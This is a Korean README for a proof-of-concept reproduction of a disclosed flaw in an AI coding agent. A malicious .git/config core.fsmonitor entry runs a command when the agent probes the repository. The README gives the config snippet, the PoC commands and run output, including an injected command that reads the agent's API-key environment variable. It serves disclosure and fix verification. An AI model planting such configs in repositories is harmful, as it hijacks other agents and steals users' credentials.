
CVE-2026-71963 - Hermes Agent 0.18.2-0.21.0에서 저장소를 통해 전달되는 .git/config(core.fsmonitor)를 통한 RCE. 표준 라이브러리만 사용하는 Python으로, 실제 0.21.0에서 검증되었으며 수정된 빌드에서는 깨끗한 음성 대조군으로 확인되었습니다.
.git/config를 통한 Hermes Agent RCE영향 받는 버전: Hermes Agent 0.18.2 – 0.21.0
수정됨: 커밋 f6234d0 (fix(security): close GitSpawn RCE class, GHSA-7x36-8jrh-v4pw), 0.21.0 이후 첫 릴리스
분류: CWE-78 OS 명령 주입 → RCE, 사용자에게 프롬프트가 표시되지 않음
권고문: https://www.vulncheck.com/advisories/hermes-agent-rce-via-git-core-fsmonitor-config-injection
Hermes는 시스템 프롬프트를 구성하는 동안 코딩 워크스페이스 스냅샷을 생성합니다:
어떤 프롬프트, 도구 호출, 승인 또는 신뢰 게이트보다 먼저 세션이 위치한 디렉터리를 대상으로
git -C <session working dir> status --porcelain=2 --branch(그리고
rev-parse, log)를 실행합니다.
0.21.0까지(포함) 이러한 프로브는 저장소 자체의 구성을 제거하지 않고 실행되었으므로, 실행 싱크를 지정하는 모든 git config 키가 적용됩니다:
[core]
fsmonitor = "<attacker command>"
인덱스 새로고침(git status)은 에이전트를 실행하는 사용자로서, 구성된 프로바이더 API 키를 포함한 에이전트의 전체 환경과 함께 해당 명령을 실행합니다. 동일한 부류에는 core.hooksPath(예: post-index-change 훅), pager, editor, 그리고 .gitattributes로 범위가 지정된 diff/textconv 드라이버가 포함됩니다.
git clone은 .git/config를 절대 전송하지 않으므로, 전달 경로는 파일 형태로 넘겨받는 저장소입니다: zip, 동기화 폴더, USB 스틱, 압축 해제된 아카이브. 화면에는 아무것도 나타나지 않습니다.
전제 조건: 에이전트의 작업 디렉터리가 악성 저장소여야 합니다(스냅샷이 해당 디렉터리를 탐색합니다). 이 빌드에서는 세션에 구성된 작업 디렉터리, 즉 config.yaml의 terminal.cwd 또는 TERMINAL_CWD 환경 변수입니다. 이 PoC는 둘 다 설정합니다. 구성된 cwd가 없으면 원샷 CLI는 워크스페이스를 $HOME으로 해석하며, 이 경우 탐색이 저장소를 건드리지 않습니다.
# 1) create the malicious repository (no network, no dependencies)
python3 poc.py build --dir /tmp/cve-2026-71963/repo
# 2) run the real agent against it and assert execution
python3 poc.py exploit \
--dir /tmp/cve-2026-71963/repo \
--hermes /path/to/vulnerable/hermes \
--hermes-py /path/to/python
# 3) same run against a fixed build: nothing must execute
python3 poc.py control --dir /tmp/cve-2026-71963/repo \
--hermes /path/to/fixed/hermes --hermes-py /path/to/python
PoC는 임시 HERMES_HOME(작업 디렉터리는 저장소로 고정, 모델 제공자는 내장 OpenAI 호환 mock으로 지정)을 작성하여 전체 에이전트 턴이 API 비용 없이 실행되도록 합니다. 주입된 명령은 id와 센티널 환경 변수(기본값 DEMO_API_KEY)의 값을 증거 파일에 기록하며, 이것이 어서션이 검사하는 대상입니다.
취약 빌드: 0.21.0(수정 커밋의 부모인 커밋 413b6ba3dd의 분리된 워크트리), 수정 빌드: 0.21.2(main). 두 실행 모두 동일한 저장소와 동일한 임시 홈 레이아웃을 사용했습니다.
$ python3 poc.py exploit --hermes <0.21.0>/hermes --hermes-py <venv>/python
[*] malicious repo ready: /tmp/cve-2026-71963/repo
[*] injected command : id > .../evidence.txt 2>&1; echo AGENT_ENV_KEY:$DEMO_API_KEY >> .../evidence.txt
[*] running: <venv>/python <0.21.0>/hermes -z hello
[*] HERMES_HOME=/tmp/cve-2026-71963/home-vuln working dir=/tmp/cve-2026-71963/repo
[*] agent exited rc=0 output='ok'
[*] evidence captured:
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),20(dialout),24(cdrom),... (account name scrubbed)
AGENT_ENV_KEY:DEMO-QRXAPQFB
=> PASS (command executed as the agent's user and read the agent's environment - sentinel DEMO-QRXAPQFB recovered)
$ python3 poc.py control --hermes <0.21.2>/hermes --hermes-py <venv>/python
[*] agent exited rc=0 output='ok'
=> PASS (negative control: probes ran, nothing executed)
프로브는 두 빌드 모두에서 실행되는 것으로 나타난다. 수정된 빌드에서 git 호출을 계측하면 두 번째 프로브가 왜 무효인지 알 수 있다:
CWD=<repo> ARGS=-C <repo> status --porcelain=2 --branch GITCFG_COUNT=10 K0=credential.helper V0= GLOBAL=/dev/null SYSTEM=/dev/null
CWD=<repo> ARGS=-C <repo> rev-parse --git-dir GITCFG_COUNT=10 ... GLOBAL=/dev/null SYSTEM=/dev/null
즉, bounded_git_probe는 이제 noninteractive_git_env() 아래에서 git을 실행하며, 이는 GIT_CONFIG_KEY_*/GIT_CONFIG_VALUE_*를 통해 core.fsmonitor=false(훅/페이저/에디터/자격 증명 헬퍼 포함)를 고정하고 GIT_CONFIG_GLOBAL / GIT_CONFIG_SYSTEM을 /dev/null로 지정합니다. Diff 렌더링 프로브는 추가로 --no-ext-diff --no-textconv를 전달합니다.
git clone https://github.com/NousResearch/hermes-agent
cd hermes-agent
git worktree add --detach ../hermes-0.21.0 413b6ba3dd # vulnerable (0.21.0)
python -m venv venv && ./venv/bin/pip install -e . # deps are compatible with main
../hermes-0.21.0/hermes --version
f6234d0이 포함된 모든 빌드)..git/config에서 fsmonitor, hooksPath, pager, editor, credential.helper, 그리고 [diff "*"]의 command/textconv 항목을 확인하십시오.공개된 벤더 수정이 포함된 공개 CVE이며, 이 저장소는 방어자와 수정 경계 검증을 위한 독립적인 재현입니다.